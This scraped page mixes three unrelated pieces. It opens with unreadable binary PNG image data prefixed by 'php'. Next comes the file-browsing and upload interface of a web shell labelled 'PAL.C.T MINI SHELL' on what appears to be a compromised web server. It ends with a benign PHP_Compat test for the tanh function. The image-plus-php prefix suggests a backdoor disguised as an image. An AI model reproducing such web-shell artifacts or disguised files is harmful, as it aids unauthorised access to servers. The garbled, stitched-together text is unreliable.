php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/gs1/php/php/tests/function/
upload
files >> /var/www/html/gs1/php/php/tests/function/tanh.phpt

--TEST--
Function -- tanh
--FILE--
<?php
require_once 'PHP/Compat/Function/tanh.php';

$tests = array(0, 0.1, 0.5, 1, M_PI, 30);

foreach ($tests as $test) {
    printf("%.4f\n", php_compat_tanh($test));
}
?>
--EXPECT--
0.0000
0.0997
0.4621
0.7616
0.9963
1.0000
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